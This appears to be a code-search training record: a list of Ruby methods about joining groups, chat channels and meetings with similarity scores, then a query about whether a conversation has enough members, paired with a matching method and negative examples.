\"https://gtcollab.herokuapp.com/api/groups/\" + id + \"/join/\"\n \n require \"net/http\"\n require \"uri\"\n\n parsed_url = URI.parse(line)\n\n http = Net::HTTP.new(parsed_url.host, parsed_url.port)\n http.use_ssl = true\n\n req = Net::HTTP::Post.new(parsed_url.request_uri)\n\n req.add_field(\"authorization\", $token)\n\n response = http.request(req)\n response.inspect\n\n redirect_to course_path(params[:course_id], :name => params[:name], :joined => params[:joined])\n end", "def channel_join(m, channel)\r\n if_admin(m) { @bot.join(channel) }\r\n end", "def join(m, channel)\n return unless @bot.admin?(m.user)\n Channel(channel).join\n end", "def join\n @room = OnlineMeetingRoom.find_by_id(params[:id])\n role = @room.user_role(current_user)\n unless role == :denied\n join_internal(current_user.full_name, role, :join)\n else\n flash[:notice] = \"#{t('access_denied')}\"\n redirect_to :index and return\n end\n end", "def join\n end", "def process_join(message)\n channel = message.channel\n /:(?<user>\\w+)/ =~ message.raw\n channel.users[user] = User.new user unless channel.users.key? user\n end", "def add_to_group(group)\n gm = Fl::Framework::Actor::GroupMember.query_for_actor_in_group(self, group).first\n if gm.nil?\n gm = self.actor_containers.create(:group => group, :actor => self)\n end\n\n gm\n end", "def join_channel(message)\n message.send_raw \"JOIN ##{message.channel.name}\"\n end", "def group_chat(message) \n puts \"This is a Public Group\"\n puts message \n # secure_chat(\"This is confidential\")\n personal_chat(\"hi how are you\") \n end", "def groupChat _obj, _args\n \"_obj groupChat _args;\" \n end", "def create_group\n params[:new_members] = params[:participants]\n params[:new_admins] = params[:admin_ids]\n conversation = current_user.conversations.new(group_params)\n if conversation.save\n render_conversation(conversation)\n else\n render_error_model(conversation)\n end\n end", "def join!(user)\n # It loads up all the user because in the case where the chat is saved but the chat_participations have not been saved,\n # this is the only way to ensure we don't have duplicates.\n return if self.chat_participations.map(&:user_id).include?(user.id)\n self.chat_participations.create!(:user => user)\n end", "def message_to_group(message, group, member, sender)\n setup_email(message, group, member, sender)\n \n @subject += I18n.t 'mailer.group_notify.subject', :title=>group.title, :from=>sender.login \n #@subject += 'Message to group '+group.title+' from '+sender.login\n \n @body[:url] = \"http://www.dripplet.com/#{@locale}/groups/#{group.id}\"\n \n end", "def ConnectPublicGroup(arg0)\r\n ret = _invoke(1610743826, [arg0], [VT_BSTR])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end", "def ConnectPublicGroup(arg0)\r\n ret = _invoke(1610743826, [arg0], [VT_BSTR])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end", "def join\n @club = Club.find(params[:id])\n authorize @club\n @club.club_memberships.create! user_id: current_user.id\n redirect_to action: :show\n end", "def join\n if request_valid?\n request_user.online!\n \n msg = message(\"joined\")\n msg = javascript_chat_message(msg)\n \n # Inform all joined channels that the user has joined\n Juggernaut.send_to_channels(msg, params[:channels])\n \n render :nothing => true\n else\n # Prevent the user from joining the channel if the request is not\n # from a valid session/user combination\n render :text => \"403\", :status => 403\n end\n end", "def join\n\t\t@classroom = Classroom.find(params[:id])\n\n\t\tparams[:user_id] = current_user.id unless admin? && params[:user_id]\n\n\t\t@membership = Membership.new\n\t\t@membership.classroom_id = @classroom.id\n\t\t@membership.user_id = params[:user_id]\n\t\tif @membership.save\n\t\t\tredirect_to params[:redirect_url] || @classroom, notice: \"Joined!\"\n\t\telse\n\t\t\tredirect_to @classroom, alert: \"You are already a member of this class!\"\n\t\tend\n\tend", "def join_team(team_id)\n group = Team.find(team_id).group\n users_team = self.users_teams.where('group_id = ? OR group_id IS NULL', group.id).first\n if users_team\n users_team.update_attributes!(:team_id => team_id, :group_id => group.id)\n else\n self.users_teams.create!(:team_id => team_id, :group_id => group.id)\n end\n end", "def join_request\n \n end", "def msg_SJOIN(source, args)\n c = Channel.find_by_name(args[1])\n if !c\n c = Channel.new(args[1], args[0])\n end\n offset = 0\n args[2].each_char do |c|\n case c\n when 'q', 'k', 'l', 'I', 'f', 'j', 'e', 'b', 'o', 'v'\n offset += 1\n end\n end\n parse_modestr(c, args[3..(3+offset)])\n if args[3 + offset] == nil\n # Can happen with +P channels\n return nil\n end\n args[3 + offset].split(\" \").each do |user|\n # First number is start of UID because of SID definition\n idx = 0\n user.each_char do |c|\n case c\n when '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'\n break\n else\n idx += 1\n end\n end\n begin\n u = User.find_by_uid(user[idx..-1])\n c.add_user(u)\n u.join(c)\n rescue NoMethodError => e\n puts(\"Error getting UID (#{user[(idx - 1)..-1]} for idx=#{idx} and user=#{user}): #{e.inspect}\")\n end\n end\n return nil\n end", "def join_meeting(meeting_id, user_name, password, user_id = nil, web_voice_conf = nil)\n params = { :meetingID => meeting_id, :password => password, :fullName => user_name,\n :userID => user_id, :webVoiceConf => web_voice_conf }\n send_api_request(:join, params)\n end", "def join\n if !current_user\n flash[:notice] = t(:join_dream)\n elsif @camp.users.include?(current_user)\n flash[:notice] = t(:join_already_sent)\n else\n flash[:notice] = t(:join_dream)\n @camp.users << @user\n end\n redirect_to @camp\n end", "def join(id)\n precondition do\n raise unless id > 0\n end\n\n id = rpc \"join\", id \n @game.sync\n \n postcondition do\n raise unless id\n end\n end", "def join\n pids = get_player_list(@match).map{|p| p.try(:id)} # list of player ids\n status = false\n if can_join(pids) #if possible, join\n status = join_now(@match, current_user.id)\n done = [\"joined\", \"success\"]\n elsif pids.include?(current_user.id) #if already joined, then leave\n status = leave_now(@match, current_user.id, @host)\n done = [\"left\", \"warning\"]\n if !get_player_list(@match).any? #if there is no more players in match, then destroy\n destroy\n return\n end\n end\n\n respond_to do |format|\n if status and @match.save\n format.html { redirect_to @match, notice: ['You have succesfully ' + done[0] + ' the match.', \"alert alert-dismissible alert-\" + done[1]] }\n else\n format.html { redirect_to @match, notice: ['Sorry, your request could not be processed.', \"alert alert-dismissible alert-danger\"] }\n end\n end\n end", "def user_join_channel\n @lecture = Lecture.find(params[:lecture])\n @user = current_user\n join_channel_slack\n flash[:notice] = \"Vous avez rejoins le canal sur Slack, félicitations! Ouvrez maintenant slack et échangez avec les profs et les élèves...\"\n redirect_to lecture_path(@lecture)\n end", "def join(m)\n # self.reset_timer(m)\n if Channel(@channel_name).has_user?(m.user)\n if @game.accepting_players?\n added = @game.add_player(m.user)\n unless added.nil?\n Channel(@channel_name).send \"#{m.user.nick} has joined the game (#{@game.players.count}/#{@game.max_players})\"\n Channel(@channel_name).voice(m.user)\n end\n else\n if @game.started?\n Channel(@channel_name).send \"#{m.user.nick}: Game has already started.\"\n elsif @game.at_max_players?\n Channel(@channel_name).send \"#{m.user.nick}: Game is at max players. Switch to ONUWW to add more players\"\n else\n Channel(@channel_name).send \"#{m.user.nick}: You cannot join.\"\n end\n end\n else\n User(m.user).send \"You need to be in #{@channel_name} to join the game.\"\n end\n end", "def set_group\n @group = Group.with_attached_logo.includes(:conversations).friendly.find(params[:id])\n end", "def send_join_pg(msg_detail)\n cmd_to_send = build_cmd(:pg_join, msg_detail)\n send_data_to_server(cmd_to_send)\n end", "def add_to_group(group)\n self.memberships.create(group_id: group.id)\n end", "def join(m, channel_name = nil)\n channel = channel_name ? Channel(channel_name) : m.channel\n\n if (game2 = @user_games[m.user])\n # Be silent if the user's game is already started and user re-joins it\n # by sending !join in the same channel, or !join in a PM\n # This is so games can reuse the join command.\n different_channel = channel && channel.name != game2.channel_name\n m.reply(\"You are already in the #{game2.channel_name} game\", true) if different_channel\n return\n end\n\n if (waiting_room = @user_waiting_rooms[m.user])\n m.reply(\"You are already in the #{waiting_room.channel_name} game\", true)\n return\n end\n\n unless channel\n m.reply('To join a game via PM you must specify the channel: ' +\n '!join #channel')\n return\n end\n\n waiting_room = @waiting_rooms[channel.name]\n unless waiting_room\n m.reply(channel.name + ' is not a valid channel to join', true)\n return\n end\n\n unless channel.has_user?(m.user)\n m.reply(\"You need to be in #{channel.name} to join the game.\", true)\n return\n end\n\n if @games[channel.name]\n m.reply('Game has already started.', true)\n return\n end\n\n if waiting_room.size >= waiting_room.capacity\n m.reply(\"Game is already at #{waiting_room.capacity} players, the maximum supported for #{self.game_name}.\", true)\n return\n end\n\n waiting_room.add(m.user)\n channel.send(\"#{m.user.nick} has joined the game (#{waiting_room.size}/#{waiting_room.capacity})\")\n channel.voice(m.user)\n @user_waiting_rooms[m.user] = waiting_room\n end", "def join(channel)\n\t\t\tsend_to_server(\"JOIN #{channel}\")\n\t\tend", "def join(force = false)\n post 'join'\n end", "def join\n @game = Game.find(params[:id])\n @game.assign_team(current_user)\n redirect_to \"/games/#{@game.id}\"\n end", "def join\n @user = current_user\n @mess = Mess.find(params[:id])\n @mess_id = @mess.id\n @user.update_attributes(:mess_id => @mess_id)\n redirect_to @mess\n end", "def join\n @room = Room.find(params.require(:room_id))\n if @room&.add_user(current_user)\n success\n else\n not_found\n end\n end", "def join \n\n #Check if user exists\n user = User.find_by!(id: params[:user_id])\n\n if (ChannelJoined.exists?({ channel_id: params[:id], user_id: params[:user_id]}))\n json_response({\n \"joined\": true\n })\n else\n joined = ChannelJoined.create!(user_id: params[:user_id], channel_id: params[:id])\n json_response(joined.channel)\n end\n \n \n end", "def join\n # valid user?\n if !@user\n flash[:notice => \"You must be logged in to join\" ]\n render :action => \"error\"\n return\n end\n if !@note\n flash[:notice] = \"Nothing found by that name\"\n render :action => \"error\"\n return\n end\n # already a member?\n if @note.is_a_member?(@user)\n flash[:notice] = \"You are already a member\"\n render :action => \"error\"\n return\n end\n # join\n @note.join @user\n end", "def join(user_id,group=nil,role=nil)\n if !is_a_member?(user_id)\n begin\n x = Note_User.new(:user_id => user_id, :note_id => self.id )\n x.group = group.id if group\n x.role = role if role\n x.save\n rescue\n return false\n end\n end\n return true\n end", "def link_to_group(group, options={})\n if group.is_a?(Group)\n name = h(group.name)\n name\n else\n h(group.to_s)\n end\n end", "def join(channel)\n @bot.join(channel)\n end", "def create_or_join\n res = Conversation.create_or_join(uuid: conversation_params[:uuid])\n serializer = ConversationSerializer.new(res[:conversation])\n render json: serializer.serializable_hash.merge(user_index: res[:user_index])\n end", "def joinRoom(roomname, username)\n room = @chats.fetch roomname #get record of \"chats\"\n #puts(room)\n userID = @users.fetch username\n puts(\"joinroom userID #{userID}\")\n puts(userID)\n room.addUser(userID, username) #add user to that chat\n puts room.printMe\n end", "def join( limit = nil )\n loop do\n t = @group.list.first\n break if t.nil?\n return nil unless t.join(limit)\n end\n self\n end", "def process_mass_join(message)\n channel = message.channel\n /:(?<user_list>.+)/ =~ message.payload\n user_list.split.each do |user|\n channel.users[user] = User.new user unless channel.users.key? user\n end\n end", "def on(group)\n @group = group\n self\n end", "def event_join m\n uid = get_uid m\n reward_logic uid, m.channel, m.user.nick\n end", "def join\n \n #TODO add player to hunt\n #player = User.find(params[:id])\n redirect_to hunt_player_path()\n end", "def join(user)\n @mysqlHelper.insertConUser(user.getI,@id)\n @userList.getcontents.each { |users| \n \n users.userChangeFromChannel(\"204\", @id, user.getId)\n }\n @userList.add(user)\n \n end", "def join_url(username, role, key=nil, options={})\n server = BigbluebuttonRails.configuration.select_server.call(self, :join_meeting_url)\n\n pass = case role\n when :moderator\n self.moderator_api_password\n when :attendee\n self.attendee_api_password\n when :guest\n if BigbluebuttonRails.configuration.guest_support\n options = { guest: true }.merge(options)\n end\n self.attendee_api_password\n else\n map_key_to_internal_password(key)\n end\n\n r = server.api.join_meeting_url(self.meetingid, username, pass, options)\n r.strip! unless r.nil?\n r\n end", "def join\n network_invite = current_organization.network_invitations.find_by_network_id(params[:id], :include => :network)\n if network_invite.nil? then\n flash[:notice] = \"You must get an invite before joining that network.\"\n redirect_to networks_path\n else\n network_invite.accept!\n flash[:notice] = \"You have joined the network!\"\n redirect_to network_path(network_invite.network)\n end\n end", "def join(user)\n return false if member?(user)\n # Otherwise, we add a user\n add user\n @members.each { |m| m.notify :join, @name, :prefix => user.prefix }\n dispatch :outgoing_join, :target => @name, :nick => user.nick\n return true\n end", "def mentor_quit_group\n GroupquitMailer.mentor_quit_group\n end", "def join_meeting(meeting_id, user_name, password, options={})\n valid_options = [:userID, :webVoiceConf]\n valid_options += [:createTime] if @version >= \"0.8\"\n options.reject!{ |k,v| !valid_options.include?(k) }\n\n params = { :meetingID => meeting_id, :password => password, :fullName => user_name }.merge(options)\n\n send_api_request(:join, params)\n end", "def join_team\n data = {\n display_name: params[:display_name],\n solver_id: params[:solver_id],\n red: params[:red],\n green: params[:green],\n blue: params[:blue]\n }\n Pusher.trigger(params[:channel], 'join_puzzle', data)\n render nothing: true\n end", "def build_thread\n @private_messages = PrivateMessage.find_conversation(current_user,params[:id])\n end", "def join(room, service, nickname = nil)\n join = Blather::Stanza::Presence::MUC.new\n join.to = if nickname\n \"#{room}@#{service}/#{nickname}\"\n else\n \"#{room}/#{service}\"\n end\n client.write join\n end", "def join\r\n if @trip.participants.include?(current_person)\r\n redirect_to(@trip, :notice => \"You are already a participant in the #{@trip.name}.\")\r\n return\r\n elsif @trip.organizers.include?(current_person) && request.post?\r\n @trip.participants << current_person\r\n redirect_to(manage_membership_trip_url(@trip), :notice => \"You are now a participant in the #{@trip.name}.\")\r\n else\r\n @token = params[:token]\r\n invitation = Invitation.find_by_token(@token)\r\n if invitation.nil?\r\n redirect_to(person_root_url, :error => \"The invitation link you followed is invalid.\")\r\n return\r\n end\r\n \r\n if request.post?\r\n invitation.accept(current_person)\r\n redirect_to(manage_membership_trip_url(@trip), :notice => \"You are now a participant in the #{@trip.name}.\")\r\n end\r\n end\r\n end", "def group_users\n DiscussionGroupUser.where(\"discussion_group_id=? AND is_member=?\", self.id, true)\n end", "def join_competition(competition, auth)\n if existing_student = Student.find_by(linkedin_uid: auth.uid)\n\n login_as(existing_student)\n\n if competition != existing_student.competition\n flash[:notice] = \"You've already joined a different competition. Here is your dashboard for <strong>#{existing_student.competition.name}</strong>.\"\n end\n\n redirect_to team_path\n\n else\n student = Student.create!( competition: competition,\n name: auth.name,\n email: auth.email,\n avatar_url: auth.image,\n linkedin_uid: auth.uid,\n linkedin_token: auth.token )\n login_as(student)\n redirect_to new_team_membership_path\n end\n end", "def c_join(chan)\n if @muc[chan].nil? then\n\t\t @muc[chan], junk = Muc.new(chan, self, @jid, @pass, @confhost)\n else\n on_join(muc)\n end\n end", "def join\n @beer_club = BeerClub.find(params[:id])\n if Membership.where(:beer_club_id => @beer_club.id, :user_id => current_user.id).exists?\n respond_to do |format|\n format.html { redirect_to :back, notice: \"You are already a member of this club!\" }\n end\n else\n @membership = Membership.create\n @membership.beer_club_id = @beer_club.id\n @membership.user_id = current_user.id\n if @beer_club.memberships.count < 1\n @membership.confirmed = true\n else\n @membership.confirmed = false\n end\n respond_to do |format|\n if @membership.save\n format.html { redirect_to :back, notice: \"You joined #{@beer_club.name}\" }\n else\n format.html { redirect_to :back, notice: \"Something went awry! D:\" }\n end\n end\n end\n end", "def create\n @group = Group.new(group_params)\n if @group.save\n flash[:success] = \"Group created!\"\n current_user.join(@group)\n @group.promote_to_admin(current_user)\n redirect_to group_url(@group)\n else\n render 'new'\n end\n end", "def join_project(uid, project_id, url_prefix = nil)\n # alg self-note: url_prefix is for prepending to the challenge id in notificaiton and is visible only to\n # those approving the membership. Ignoring for now.\n cl = client(\"Projects\", uid)\n response = cl.call(:join_project, message: {\n uid: uid,\n projectid: project_id,\n urlPrefix: url_prefix\n })\n\n return response.to_hash[:join_project_response][:return]\n rescue Savon::SOAPFault => e\n process_error e\n end", "def irc_send_join(channel)\n # We send an IRC message that joins a channel\n irc_send(\"JOIN #{channel}\")\nend", "def singleton_group\n with_endpoint do |endpoint|\n endpoint.find_singleton_group_by_actor_id(@id)\n end\n end", "def to user_id, message\n return yield false, USER_NOT_FOUND unless user = User.find(user_id)\n return yield false, INVALID_JOINABLE unless joinable_is_valid?\n\n owner_join_request = JoinRequest.where(joinable: @joinable, user_id: user_id, role: member_type).first_or_create\n\n ApplicationRecord.transaction do\n creator_join_requests.update_all(role: member_type)\n\n owner_join_request.update(status: :accepted, role: creator_type)\n\n @joinable.update_attribute(:user_id, user_id)\n end\n\n if message.present?\n ChatServices::ChatMessageBuilder.new(\n user: user,\n joinable: @joinable,\n join_request: owner_join_request,\n params: {\n message_type: :text,\n content: message,\n }\n ).create\n end\n\n yield true\n end", "def group()\n return MicrosoftGraph::Me::JoinedTeams::Item::Group::GroupRequestBuilder.new(@path_parameters, @request_adapter)\n end", "def join(c, k=nil)\n @socket << \"JOIN #{c} #{k}\".strip\n end", "def relation_method\n :join\n end", "def join_room(id)\n @rooms.join id\n end", "def index\n @conversations = @group.conversations\n end", "def pull_join\n raise NotImplementedError\n end", "def on_join(connection, channel, user)\n end", "def unjoin(group)\n\t\t\treturn false unless group.is_a?(Group)\n\t\t\tgroup.remove(self)\n\t\tend", "def join\n payload = { \"id\" => id }.to_json\n data = client.post \"#{api_prefix}/user/#{client.user.id}/rooms\", payload\n\n self\n end", "def promote_in_group( group )\n self.groups_where_admin_and_wrapper.push group\n end", "def modify_group\n group = Group.find_by_id params[:group_id]\n current_maillist = get_maillist_for_space(group.id)\n\n if params[:join_type]\n params[:join_level] = convert_join_type_to_join_level(params[:join_type])\n end\n\n if params[:leader_id] && params[:leader_id] != group.leader_id\n membership = group.group_memberships.where(user_id: params[:leader_id]).first\n return render :json => {}, :status => :bad_request unless membership\n params[:leader] = membership.user\n end\n\n if params[:maillist] != current_maillist\n render json: { valid_maillist: false }, status: :ok unless params[:maillist].empty? || maillist_is_valid?(params[:maillist])\n # params[:new_membership] = maillist_members(params[:maillist]).map { |member| Pseudonym.find_by_unique_id(member).user rescue nil}.compact\n params[:new_membership] = maillist_members(params[:maillist]).map do |member|\n pseudonym = Pseudonym.active.by_unique_id member\n pseudonym.first.user unless pseudonym.empty?\n end\n params[:new_membership].compact!\n params[:new_membership].uniq!\n end\n\n if authorized_action(group, @current_user, :update)\n respond_to do |format|\n group.transaction do\n group.update_attributes(params.permit(*SETTABLE_GROUP_ATTRIBUTES))\n if params.has_key?(:leader)\n group.leader = params[:leader]\n end\n if params.has_key?(:new_membership) && params[:new_membership].empty?\n group.group_memberships.where(\"user_id NOT IN (?)\", [group.leader]).destroy_all\n delete_maillist_for_space(group.id)\n end\n group.set_users(params[:new_membership]) if params.has_key?(:new_membership)\n set_maillist_for_space(group.id, params[:maillist]) unless params[:maillist].nil? || params[:maillist].empty?\n end\n\n if !group.errors.any?\n format.json { render :json => group_formatter(group, { include: ['users'] }), :status => :ok }\n else\n format.json { render :json => @group.errors, :status => :bad_request }\n end\n end\n end\n end", "def belongs_to_group group_name\n res = LdapUser.belongs_to_group(self.login, group_name) \n end" ]
[ "0.7028185", "0.6993417", "0.6823392", "0.6823392", "0.67838544", "0.6742465", "0.66802955", "0.6629272", "0.65393525", "0.64969456", "0.6335918", "0.63108796", "0.62746626", "0.61751705", "0.6120427", "0.6115082", "0.60974723", "0.609582", "0.60954434", "0.60903084", "0.60701185", "0.60642534", "0.6053958", "0.6034909", "0.60297537", "0.6019456", "0.5977346", "0.59642744", "0.5954609", "0.59273887", "0.588704", "0.5879587", "0.5879029", "0.5844004", "0.5807992", "0.5807992", "0.5792969", "0.5788606", "0.57845885", "0.57778287", "0.5751104", "0.57485485", "0.5730255", "0.5730164", "0.5723928", "0.5721638", "0.56996655", "0.5694226", "0.5684375", "0.5681219", "0.56684583", "0.5637262", "0.5618185", "0.56137663", "0.5603542", "0.56008315", "0.55793196", "0.5577849", "0.5544226", "0.5536864", "0.553499", "0.5521752", "0.5496784", "0.5496129", "0.54876083", "0.5485794", "0.54762894", "0.54729474", "0.5471509", "0.54523593", "0.5445668", "0.54454964", "0.5432336", "0.5430666", "0.5429542", "0.5429329", "0.5419672", "0.54190856", "0.54163414", "0.5415068", "0.54149956", "0.5413008", "0.5409371", "0.5409314", "0.5406587", "0.54035944", "0.53725904", "0.53673893", "0.5359613", "0.53520894", "0.5338339", "0.53291816", "0.53231335", "0.5318166", "0.5312248", "0.5303053", "0.52967745", "0.52961427", "0.5294211", "0.5284748" ]
0.6513065
9
check if current conversation has enough members to exist
def is_valid? is_group_conversation? ? user_participants.count >= 1 : user_participants.count >= 2 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def has_members?\n self.members.count > 0\n end", "def ensure_conversation_members\n convo = Conversation.where(availability_id: id).first\n if convo\n convo.conversation_members.create(user: user, admin: admin) if convo.conversation_members.where(user: user).first.nil?\n end\n end", "def verify_members\n conversation_members << conversation_members.new(user_id: owner_id, is_admin: true)\n errors.add(:base, \"Required two members to create a 1 to 1 conversation.\") if !is_group_conversation? && ((new_members || []) + [owner_id]).delete_empty.map(&:to_i).uniq.count < 2\n end", "def number_of_members?; member_types.any?; end", "def max_participants_reached?\n if max_participants_define?\n participants_size == max_participants\n else\n false\n end\n end", "def empty?\n @members.empty?\n end", "def empty?\n @members.empty?\n end", "def has_memberships?\n how_many_memberships? > 0\n end", "def team_member_count\n self.teams.count < TOTAL_TEAMS\n end", "def all_dead?\n if @actors.size == 0 and not $game_temp.in_battle\n return false \n end\n return existing_members.empty?\n end", "def is_in_conversation?(_user_id)\n conversation_members.where(user_id: _user_id).any?\n end", "def full?\n self.users.count == self.limit\n end", "def members?\n !@spec['members'].empty?\n end", "def current?\n no_current_total_members = member_count.nil? || member_count.zero?\n no_current_separate_members = (commons_count.nil? || commons_count.zero?) && (lords_count.nil? || lords_count.zero?)\n !no_current_total_members || !no_current_separate_members\n end", "def all_members_available?\n @rs.members.each do |member|\n machine = @machine.env.machine(member[:host], @machine.provider_name)\n return false if !member_available?(machine)\n end\n true\n end", "def stand_by_members\n return [] if all_members.size <= max_battle_members\n all_members[max_battle_members, 99].select { |actor| actor.exist? }\n end", "def club_not_full\n @club = Club.find(self.club_id)\n unless (@club.member_count < @club.capacity)\n errors.add(:member_id, \"Club is full\")\n end\n end", "def full?\n return false if self.parent_id.nil? # course team, does not max_team_size\n max_team_members = Assignment.find(self.parent_id).max_team_size\n curr_team_size = Team.size(self.id)\n (curr_team_size >= max_team_members)\n end", "def more_mentors_ok?\n mentors.size < offering.max_number_of_mentors\n end", "def members_count\n object.space_memberships.count\n end", "def members_not_responding\n memb = sent_messages.map { |sm| (sm.msg_status || -1) < MessagesHelper::MsgDelivered ? sm.member : nil }.compact\n end", "def has_member?(user)\n members.exists?(user)\n end", "def enough_human_players?\n players.length >= needed_players\n end", "def how_many_memberships?\n $browser.element(@selector).divs(css: 'div.dashboard-membership').size\n end", "def user_must_own_membership\n # User ID match\n @membership = @user.memberships.find_by(id: params[:id])\n return if @membership && @membership.invite_status != 'left'\n\n alert_and_redirect('Invalid membership or user has left.', login_path, :bad_request)\n end", "def fetch_conversation_if_exists\n # all members phone numbers should be included to do a proper lookup\n numbers = parsed_phones + [inviter.phone_normalized]\n inviter.conversations.find_by_phones(numbers).first\n end", "def members_count\n return @members_count\n end", "def can_invite_users?\n account_type.unlimited_users? || users_count < account_type.allowed_users\n end", "def full?\n players.length >= max_players\n end", "def has_participations?\n participations.any?\n end", "def group?\n members.count > 2 or self[:name].present?\n end", "def number_of_members()\n return members().count\n end", "def full?\n\t\treturn self.debate_participations.count == 2\n\tend", "def has_member(id)\n return get_members_by_id.include? id\n end", "def ready_to_begin?\n @game.players.size == @limit\n end", "def nil?\n loaded_members.blank?\n end", "def num_members\n solr_document[\"member_ids_ssim\"].try(:length) || 0\n end", "def has_users?\n\t\tself.users.size > 0\n\tend", "def check_sadhak_already_joined_to_club?\n errors.add(:sadhak, \"is already member of #{self.transfer_in_club.name.titleize} forum.\") if SyClubMember.where(sy_club_id: self.to_club_id, sadhak_profile_id: self.sadhak_profile_id, status: SyClubMember.statuses['approve']).count > 0\n errors.empty?\n end", "def has_message?\n has_message\n # && messages.count > 0\n end", "def any_recipients_left?\n return true if @counters[:recipients][:to] > 0\n return true if @counters[:recipients][:cc] > 0\n return true if @counters[:recipients][:bcc] > 0\n false\n end", "def unseen_memberships_count\n messages.watchable.unseen.group_by(&:membership_id).length\n end", "def just_members\n members - [owner]\n end", "def max_battle_members\n @max_battle_member_count ||= FormationConfig::DEFAULT_BATTLE_MEMBERS\n end", "def invited?\n 0 < self.inviters.length\n end", "def relevant?\n existing_subtree_players.size > 0\n end", "def members_only?\n true \n end", "def check_flood_limit(users)\n flood_limit = ConfigurationSetting.get_setting( 'PrivateMessageRecipientLimit' ).to_i\n @private_message.errors.add(\"recipients\", \" may have no more than \" + flood_limit.to_s + \" recipients on one message\" ) if users.size > flood_limit\n end", "def allow_easy_notifiaction?\n this_and_closer_members_count <= self.user.max_easy_notification_count\n end", "def any?\n messages.count.positive?\n end", "def remaining?\n return true if max_times.zero?\n registrations.count < max_times\n end", "def members?\n user.hoa == hoa\n end", "def available_members()\n # added some logic in here to check whether the class is peak, and only supply a list\n # of premium members. Also want to check to see if there are available spaces for the\n # class, if not - return an empty array.\n if @spaces > 0\n if is_peak()\n sql = \"SELECT * from members WHERE id NOT IN (SELECT member_id FROM bookings WHERE gymclass_id = $1) AND premium = TRUE;\"\n else\n sql = \"SELECT * from members WHERE id NOT IN (SELECT member_id FROM bookings WHERE gymclass_id = $1);\"\n end\n values = [@id]\n results = SqlRunner.run(sql, values)\n return results.map {|member| Member.new(member)}\n else\n return []\n end\n end", "def participants_size\n participants.size\n end", "def member_of?(board)\n board.members.include? self\n end", "def is_an_invitee?\n self.invitations.size > 0\n end", "def can_participate?\n open? and !max_participants_reached?\n end", "def less_mentors_ok?\n mentors.size > offering.min_number_of_mentors\n end", "def member?\n @member = UserSubscription.where(account_id: self.account_id, currently_active: true)\n if !@member.blank?\n return true\n else\n return false\n end\n end", "def empty?\n @json_data['family_members'].empty?\n end", "def limit_number_of_family_members\n errors.add(:base, 'You cannot add any more family members to this family') if family.additional_family_members.size > 9\n end", "def handle_existing_chatroom_member\n validate_ownership_and_membership_status; return if performed?\n @chatroom_member.update(has_left: false)\n save_chatroom_member\n end", "def has_member?(user)\n users.include?(user)\n end", "def members_only?\n false \n end", "def members_only?\n false\n end", "def is_subscription_item_count_membership?\n check = false\n\t\n\tsubscription_count_services_ids = SounzService.subscription_count_services.map{|ss| ss.sounz_service_id}\n\tcheck = true if subscription_count_services_ids.include? self.sounz_service_id\n\t\n\treturn check\n\t\n end", "def item_max\n $game_party.members.size\n end", "def item_max\n $game_party.members.size\n end", "def still_valid?\n return false if self.reply_type == 'conversation'\n participation_request = ParticipationRequest.find self.participation_request_id\n\n return false if participation_request.state != 'pending'\n return false if participation_request.date < Time.current\n\n !used\n end", "def has_messages?\n\t\t\treturn !(messages.empty?)\n\t\tend", "def member?\n member.present?\n end", "def validate_max_members_not_exceeded!(group)\n return unless group.present? && group_assignment.present? && group_assignment.max_members.present?\n return unless group.repo_accesses.count >= group_assignment.max_members\n\n report_invitation_failure\n raise NotAuthorized, \"This team has reached its maximum member limit of #{group_assignment.max_members}.\"\n end", "def full?\n users.count.eql? 5\n end", "def has_competing_players?\n @list.count > 1\n end", "def has_conversation?(conversation)\n return mail_count(:all, :conversation => conversation) != 0\n end", "def belongs_to_competition\n\t\tcompetition=Competition.find(params[:id])\n\t\tunless competition.users.include?(current_user) || (competition.users.count < competition.n_players && competition.started_at.nil?)\n\t\t\tflash[:danger]=\"This competition is already full !!!\"\n\t\t\tredirect_to competitions_path\n\t\tend\n\tend", "def isAnyoneNaked?\n return $game_party.members.any?{ |actor| actor.naked? }\n end", "def member_of?(context)\n context.users.include? self\n end", "def conversation_exist?(receiver_uid)\n !DatabaseConnection.query(\"SELECT * \n FROM \n (SELECT * FROM conversations \n WHERE\n u1_id = #{receiver_uid}\n OR u2_id = #{receiver_uid}) AS z\n WHERE\n u1_id = #{@uid}\n OR u2_id = #{@uid}\" \n ).num_tuples.zero?\n end", "def advert_campaign_thats_been_used?\n has_been_used = false\n if advertising_campaigns.count.positive?\n advertising_campaigns.each do |ac|\n if ac.has_users? == true\n has_been_used = true\n break\n end\n end\n else\n has_been_used = false\n end\n has_been_used\n end", "def the_number_of_members\n user_school_relations.count\n end", "def isExistingMember( member )\n #Validate if member already exists\n\n @validatemember = Member.find(:all, :conditions => [\"firstname = ? AND lastname = ? AND emailid = ?\", member.firstname, member.lastname, member.emailid\n ])\n if @validatemember.length == 0\n return false\n else\n member.id = @validatemember[0].id\n return true\n end\n\n end", "def member_is_this_member?(id)\n requested_member = member_exists? id\n if requested_member.nil?\n return false\n end\n if requested_member != session[:member]\n return false\n end\n return true\n end", "def place_members_only?\n false\n end", "def place_members_only?\n false\n end", "def associate_member_with_community\n self.community.members << self.member unless self.community.members.include? self.member\n end", "def battle_members\n @positions[0, max_battle_members].collect {|id| id && $game_actors[id] }.compact\n end", "def member_exists?(member_path, options={})\n list_members(nil, options).include?(member_path)\n end", "def item_max\r\n $game_party.members.size\r\n end", "def check_membership\n unless @room.member?(current_user)\n message = 'Unauthorized: you are not a member of this private room.'\n render json: { room: @room, notice: message }, status: :forbidden\n end\n end", "def check_own_invite\n return (@invite[:user_id] == session[:user_id]) ? 1 : nil\n end", "def party_memberships\n respond_to?(:partyHasPartyMembership) ? partyHasPartyMembership : []\n end", "def full?\n @tenants.length == @num_beds\n end", "def maximum_players?\n self.players.count == MAX_PLAYERS\n end", "def pbBoxesFull?\n return !$Trainer || ($Trainer.party.length==6 && $PokemonStorage.full?)\nend", "def check_for_spamming\n #first check if it is a new conversation\n if !params[:message][:conversation_id]\n if current_user.conversations.recent.count < 5 #max 5 new convos/hour\n false\n else\n true\n end\n else\n false #limit_replies\n end\n end", "def validate_membership\n errors.add(\"#{self.sadhak_profile.syid}\", \"is not active member to forum #{self.sy_club.name}.\") unless self.sy_club_member.approve?\n errors.empty?\n end", "def too_may_guests_in_room__true()\n if @guests.check_in_count() > @capacity\n return true\n end\n return 